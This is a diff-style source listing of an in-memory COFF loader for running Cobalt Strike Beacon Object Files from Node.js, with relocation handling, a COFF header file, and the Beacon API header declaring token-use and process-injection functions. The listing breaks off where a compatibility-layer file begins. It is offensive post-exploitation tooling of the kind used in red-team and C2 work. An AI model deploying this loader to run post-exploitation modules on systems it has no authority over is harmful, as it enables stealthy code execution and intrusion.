DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_4) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
offsetvalue += 4;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_5) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
offsetvalue += 5;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
|
||||
else {
|
||||
DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type);
|
||||
}
|
||||
#else
|
||||
/* This is Type == IMAGE_REL_I386_DIR32 relocation code */
|
||||
if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32){
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
|
||||
offsetvalue = (uint32_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]) + offsetvalue;
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tSetting 0x%p to: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_I386_REL32){
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
|
||||
}
|
||||
#endif //WIN64 statement close
|
||||
#endif //WIN32 statement close
|
||||
}
|
||||
else {
|
||||
symptr = coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.value[1];
|
||||
DEBUG_PRINT("\tSymPtr: 0x%X\n", symptr);
|
||||
DEBUG_PRINT("\tSymVal: %s\n", ((char*)(coff_sym_ptr + coff_header_ptr->NumberOfSymbols)) + symptr);
|
||||
DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber);
|
||||
|
||||
/* This is the code to handle functions themselves, so using a makeshift Global Offset Table for it */
|
||||
#ifdef _WIN32
|
||||
funcptrlocation = process_symbol(((char*)(coff_sym_ptr + coff_header_ptr->NumberOfSymbols)) + symptr);
|
||||
if (funcptrlocation == NULL && coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber == 0) {
|
||||
DEBUG_PRINT("Failed to resolve symbol\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
#ifdef _WIN64
|
||||
if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR64) {
|
||||
memcpy(&longoffsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(uint64_t));
|
||||
DEBUG_PRINT("\tReadin longOffsetValue : 0x%llX\n", longoffsetvalue);
|
||||
longoffsetvalue = (uint64_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + (uint64_t)longoffsetvalue);
|
||||
longoffsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tModified longOffsetValue : 0x%llX Base Address: %p\n", longoffsetvalue, sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &longoffsetvalue, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32 && funcptrlocation != NULL) {
|
||||
/* This is Type == 4 relocation code */
|
||||
DEBUG_PRINT("Doing function relocation\n");
|
||||
if (((functionMapping + (functionMappingCount * 8)) - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
memcpy(functionMapping + (functionMappingCount * 8), &funcptrlocation, sizeof(uint64_t));
|
||||
offsetvalue = (int32_t)((functionMapping + (functionMappingCount * 8)) - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
functionMappingCount++;
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32) {
|
||||
/* This shouldn't be needed here, but incase there's a defined symbol
|
||||
* that somehow doesn't have a function, try to resolve it here.*/
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue);
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
DEBUG_PRINT("\t\tVirtualAddressOffset: 0x%X\n", (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR32NB) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
|
||||
DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue);
|
||||
DEBUG_PRINT("\t\tEnd of Relocation Bytes: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4);
|
||||
if (((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue = ((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tSetting 0x%p to OffsetValue: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
else {
|
||||
DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type);
|
||||
}
|
||||
#else
|
||||
if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32 && funcptrlocation != NULL){
|
||||
/* This is Type == IMAGE_REL_I386_DIR32 relocation code */
|
||||
memcpy(functionMapping + (functionMappingCount * 4), &funcptrlocation, sizeof(uint32_t));
|
||||
offsetvalue = (int32_t)(functionMapping + (functionMappingCount * 4));
|
||||
DEBUG_PRINT("\tSetting 0x%p to virtual address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
functionMappingCount++;
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
|
||||
offsetvalue = (uint32_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]) + offsetvalue;
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tSetting 0x%p to virtual address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_I386_REL32){
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
|
||||
}
|
||||
else {
|
||||
DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type);
|
||||
}
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
DEBUG_PRINT("\tValueNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value);
|
||||
DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber);
|
||||
coff_reloc_ptr = (coff_reloc_t*)(((char*)coff_reloc_ptr) + sizeof(coff_reloc_t));
|
||||
DEBUG_PRINT("\n");
|
||||
}
|
||||
DEBUG_PRINT("\n");
|
||||
}
|
||||
|
||||
/* Some debugging code to see what the sections look like in memory */
|
||||
#if DEBUG
|
||||
#ifdef _WIN32
|
||||
for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSections; tempcounter++) {
|
||||
DEBUG_PRINT("Section: %u\n", tempcounter);
|
||||
if (sectionMapping[tempcounter] != NULL) {
|
||||
DEBUG_PRINT("\t");
|
||||
for (counter = 0; counter < sectionSize[tempcounter]; counter++) {
|
||||
DEBUG_PRINT("%02X ", (uint8_t)(sectionMapping[tempcounter][counter]));
|
||||
}
|
||||
DEBUG_PRINT("\n");
|
||||
}
|
||||
}
|
||||
#endif
|
||||
#endif
|
||||
|
||||
DEBUG_PRINT("Symbols:\n");
|
||||
for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSymbols; tempcounter++) {
|
||||
DEBUG_PRINT("\t%s: Section: %d, Value: 0x%X\n", coff_sym_ptr[tempcounter].first.Name, coff_sym_ptr[tempcounter].SectionNumber, coff_sym_ptr[tempcounter].Value);
|
||||
if (strcmp(coff_sym_ptr[tempcounter].first.Name, entryfuncname) == 0) {
|
||||
DEBUG_PRINT("\t\tFound entry!\n");
|
||||
#ifdef _WIN32
|
||||
/* So for some reason VS 2017 doesn't like this, but char* casting works, so just going to do that */
|
||||
#ifdef _MSC_VER
|
||||
foo = (void(__cdecl*)(char*, unsigned long))(sectionMapping[coff_sym_ptr[tempcounter].SectionNumber - 1] + coff_sym_ptr[tempcounter].Value);
|
||||
#else
|
||||
foo = (void(*)(char *, unsigned long))(sectionMapping[coff_sym_ptr[tempcounter].SectionNumber - 1] + coff_sym_ptr[tempcounter].Value);
|
||||
#endif
|
||||
//sectionMapping[coff_sym_ptr[tempcounter].SectionNumber-1][coff_sym_ptr[tempcounter].Value+7] = '\xcc';
|
||||
DEBUG_PRINT("Trying to run: %p\n", foo);
|
||||
foo((char*)argumentdata, argumentSize);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
DEBUG_PRINT("Back\n");
|
||||
|
||||
/* Cleanup the allocated memory */
|
||||
#ifdef _WIN32
|
||||
cleanup :
|
||||
if (sectionMapping){
|
||||
for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSections; tempcounter++) {
|
||||
if (sectionMapping[tempcounter]) {
|
||||
VirtualFree(sectionMapping[tempcounter], 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
free(sectionMapping);
|
||||
sectionMapping = NULL;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
if (sectionSize){
|
||||
free(sectionSize);
|
||||
sectionSize = NULL;
|
||||
}
|
||||
#endif
|
||||
if (functionMapping){
|
||||
VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||
}
|
||||
#endif
|
||||
if (entryfuncname && entryfuncname != functionname){
|
||||
free(entryfuncname);
|
||||
}
|
||||
|
||||
DEBUG_PRINT("Returning\n");
|
||||
return retcode;
|
||||
}
|
||||
|
||||
// Node-API wrapper for RunCOFF
|
||||
Napi::Value RunCOFFWrapper(const Napi::CallbackInfo& info) {
|
||||
Napi::Env env = info.Env();
|
||||
|
||||
// Check arguments
|
||||
if (info.Length() < 4) {
|
||||
Napi::TypeError::New(env, "Wrong number of arguments. Expected: functionName, coffData, argumentData, argumentSize")
|
||||
.ThrowAsJavaScriptException();
|
||||
return env.Null();
|
||||
}
|
||||
|
||||
// Validate argument types
|
||||
if (!info[0].IsString()) {
|
||||
Napi::TypeError::New(env, "First argument must be a string (functionName)")
|
||||
.ThrowAsJavaScriptException();
|
||||
return env.Null();
|
||||
}
|
||||
|
||||
if (!info[1].IsBuffer()) {
|
||||
Napi::TypeError::New(env, "Second argument must be a Buffer (coffData)")
|
||||
.ThrowAsJavaScriptException();
|
||||
return env.Null();
|
||||
}
|
||||
|
||||
if (!info[2].IsBuffer()) {
|
||||
Napi::TypeError::New(env, "Third argument must be a Buffer (argumentData)")
|
||||
.ThrowAsJavaScriptException();
|
||||
return env.Null();
|
||||
}
|
||||
|
||||
if (!info[3].IsNumber()) {
|
||||
Napi::TypeError::New(env, "Fourth argument must be a number (argumentSize)")
|
||||
.ThrowAsJavaScriptException();
|
||||
return env.Null();
|
||||
}
|
||||
|
||||
// Get arguments
|
||||
std::string functionName = info[0].As<Napi::String>().Utf8Value();
|
||||
Napi::Buffer<unsigned char> coffBuffer = info[1].As<Napi::Buffer<unsigned char>>();
|
||||
Napi::Buffer<unsigned char> argBuffer = info[2].As<Napi::Buffer<unsigned char>>();
|
||||
int argSize = info[3].As<Napi::Number>().Int32Value();
|
||||
|
||||
printf("Calling RunCOFF with functionName: %s\n", functionName.c_str());
|
||||
printf("coffBuffer length: %zu\n", coffBuffer.Length());
|
||||
printf("argBuffer length: %zu\n", argBuffer.Length());
|
||||
|
||||
// Call the native function
|
||||
int result = RunCOFF(
|
||||
const_cast<char*>(functionName.c_str()),
|
||||
coffBuffer.Data(),
|
||||
static_cast<uint32_t>(coffBuffer.Length()),
|
||||
argBuffer.Data(),
|
||||
argSize
|
||||
);
|
||||
|
||||
//printf("RunCOFF returned: %d\n", result);
|
||||
|
||||
// Create a result object to return both the status and output
|
||||
Napi::Object resultObj = Napi::Object::New(env);
|
||||
resultObj.Set("status", Napi::Number::New(env, result));
|
||||
|
||||
// Get the output data if available
|
||||
int outsize = 0;
|
||||
char* outdata = BeaconGetOutputData(&outsize);
|
||||
//printf("BeaconGetOutputData returned outsize: %d\n", outsize);
|
||||
if (outdata != NULL && outsize > 0) {
|
||||
//printf("Output data: %.*s\n", outsize, outdata);
|
||||
// Create a Buffer from the output data
|
||||
Napi::Buffer<char> outputBuffer = Napi::Buffer<char>::Copy(env, outdata, outsize);
|
||||
resultObj.Set("output", outputBuffer);
|
||||
} else {
|
||||
//printf("No output data available\n");
|
||||
resultObj.Set("output", env.Null());
|
||||
}
|
||||
|
||||
return resultObj;
|
||||
}
|
||||
|
||||
// Initialize module
|
||||
Napi::Object Init(Napi::Env env, Napi::Object exports) {
|
||||
exports.Set("runCOFF", Napi::Function::New(env, RunCOFFWrapper));
|
||||
return exports;
|
||||
}
|
||||
|
||||
NODE_API_MODULE(COFFLoader, Init)
|
||||
|
||||
#ifdef COFF_STANDALONE
|
||||
int main(int argc, char* argv[]) {
|
||||
char* coff_data = NULL;
|
||||
unsigned char* arguments = NULL;
|
||||
int argumentSize = 0;
|
||||
#ifdef _WIN32
|
||||
char* outdata = NULL;
|
||||
int outdataSize = 0;
|
||||
#endif
|
||||
uint32_t filesize = 0;
|
||||
int checkcode = 0;
|
||||
if (argc < 3) {
|
||||
//printf("ERROR: %s go /path/to/object/file.o (arguments)\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
coff_data = (char*)getContents(argv[2], &filesize);
|
||||
if (coff_data == NULL) {
|
||||
return 1;
|
||||
}
|
||||
//printf("Got contents of COFF file\n");
|
||||
arguments = unhexlify((unsigned char*)argv[3], &argumentSize);
|
||||
//printf("Running/Parsing the COFF file\n");
|
||||
checkcode = RunCOFF(argv[1], (unsigned char*)coff_data, filesize, arguments, argumentSize);
|
||||
if (checkcode == 0) {
|
||||
#ifdef _WIN32
|
||||
//printf("Ran/parsed the coff\n");
|
||||
outdata = BeaconGetOutputData(&outdataSize);
|
||||
if (outdata != NULL) {
|
||||
|
||||
//printf("Outdata Below:\n\n%s\n", outdata);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else {
|
||||
//printf("Failed to run/parse the COFF file\n");
|
||||
}
|
||||
if (coff_data) {
|
||||
free(coff_data);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,109 @@
|
||||
#ifndef COFFLOADER_H_
|
||||
#define COFFLOADER_H_
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/* These seem to be the same sizes across architectures, relocations are different though. Defined both sets of types. */
|
||||
|
||||
/* sizeof 20 */
|
||||
typedef struct coff_file_header {
|
||||
uint16_t Machine;
|
||||
uint16_t NumberOfSections;
|
||||
uint32_t TimeDateStamp;
|
||||
uint32_t PointerToSymbolTable;
|
||||
uint32_t NumberOfSymbols;
|
||||
uint16_t SizeOfOptionalHeader;
|
||||
uint16_t Characteristics;
|
||||
} coff_file_header_t;
|
||||
|
||||
/* AMD64 should always be here */
|
||||
#define MACHINETYPE_AMD64 0x8664
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
/* Size of 40 */
|
||||
typedef struct coff_sect {
|
||||
char Name[8];
|
||||
uint32_t VirtualSize;
|
||||
uint32_t VirtualAddress;
|
||||
uint32_t SizeOfRawData;
|
||||
uint32_t PointerToRawData;
|
||||
uint32_t PointerToRelocations;
|
||||
uint32_t PointerToLineNumbers;
|
||||
uint16_t NumberOfRelocations;
|
||||
uint16_t NumberOfLinenumbers;
|
||||
uint32_t Characteristics;
|
||||
} coff_sect_t;
|
||||
|
||||
|
||||
typedef struct coff_reloc {
|
||||
uint32_t VirtualAddress;
|
||||
uint32_t SymbolTableIndex;
|
||||
uint16_t Type;
|
||||
} coff_reloc_t;
|
||||
|
||||
typedef struct coff_sym {
|
||||
union {
|
||||
char Name[8];
|
||||
uint32_t value[2];
|
||||
} first;
|
||||
uint32_t Value;
|
||||
uint16_t SectionNumber;
|
||||
uint16_t Type;
|
||||
uint8_t StorageClass;
|
||||
uint8_t NumberOfAuxSymbols;
|
||||
|
||||
} coff_sym_t;
|
||||
|
||||
#pragma pack(pop)
|
||||
/* AMD64 Specific types */
|
||||
#define IMAGE_REL_AMD64_ABSOLUTE 0x0000
|
||||
#define IMAGE_REL_AMD64_ADDR64 0x0001
|
||||
#define IMAGE_REL_AMD64_ADDR32 0x0002
|
||||
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
|
||||
/* Most common from the looks of it, just 32-bit relative address from the byte following the relocation */
|
||||
#define IMAGE_REL_AMD64_REL32 0x0004
|
||||
/* Second most common, 32-bit address without an image base. Not sure what that means... */
|
||||
#define IMAGE_REL_AMD64_REL32_1 0x0005
|
||||
#define IMAGE_REL_AMD64_REL32_2 0x0006
|
||||
#define IMAGE_REL_AMD64_REL32_3 0x0007
|
||||
#define IMAGE_REL_AMD64_REL32_4 0x0008
|
||||
#define IMAGE_REL_AMD64_REL32_5 0x0009
|
||||
#define IMAGE_REL_AMD64_SECTION 0x000A
|
||||
#define IMAGE_REL_AMD64_SECREL 0x000B
|
||||
#define IMAGE_REL_AMD64_SECREL7 0x000C
|
||||
#define IMAGE_REL_AMD64_TOKEN 0x000D
|
||||
#define IMAGE_REL_AMD64_SREL32 0x000E
|
||||
#define IMAGE_REL_AMD64_PAIR 0x000F
|
||||
#define IMAGE_REL_AMD64_SSPAN32 0x0010
|
||||
|
||||
/*i386 Relocation types */
|
||||
|
||||
#define IMAGE_REL_I386_ABSOLUTE 0x0000
|
||||
#define IMAGE_REL_I386_DIR16 0x0001
|
||||
#define IMAGE_REL_I386_REL16 0x0002
|
||||
#define IMAGE_REL_I386_DIR32 0x0006
|
||||
#define IMAGE_REL_I386_DIR32NB 0x0007
|
||||
#define IMAGE_REL_I386_SEG12 0x0009
|
||||
#define IMAGE_REL_I386_SECTION 0x000A
|
||||
#define IMAGE_REL_I386_SECREL 0x000B
|
||||
#define IMAGE_REL_I386_TOKEN 0x000C
|
||||
#define IMAGE_REL_I386_SECREL7 0x000D
|
||||
#define IMAGE_REL_I386_REL32 0x0014
|
||||
|
||||
/* Section Characteristic Flags */
|
||||
|
||||
#define IMAGE_SCN_MEM_WRITE 0x80000000
|
||||
#define IMAGE_SCN_MEM_READ 0x40000000
|
||||
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
|
||||
#define IMAGE_SCN_ALIGN_16BYTES 0x00500000
|
||||
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000
|
||||
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000
|
||||
#define IMAGE_SCN_MEM_SHARED 0x10000000
|
||||
#define IMAGE_SCN_CNT_CODE 0x00000020
|
||||
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080
|
||||
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000
|
||||
|
||||
int RunCOFF(char* functionname, unsigned char* coff_data, uint32_t filesize, unsigned char* argumentdata, int argumentSize);
|
||||
unsigned char* unhexlify(unsigned char* value, int *outlen);
|
||||
#endif
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Cobalt Strike 4.1.
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
@@ -0,0 +1,402 @@
|
||||
/*
|
||||
* Cobalt Strike 4.X BOF compatibility layer
|
||||
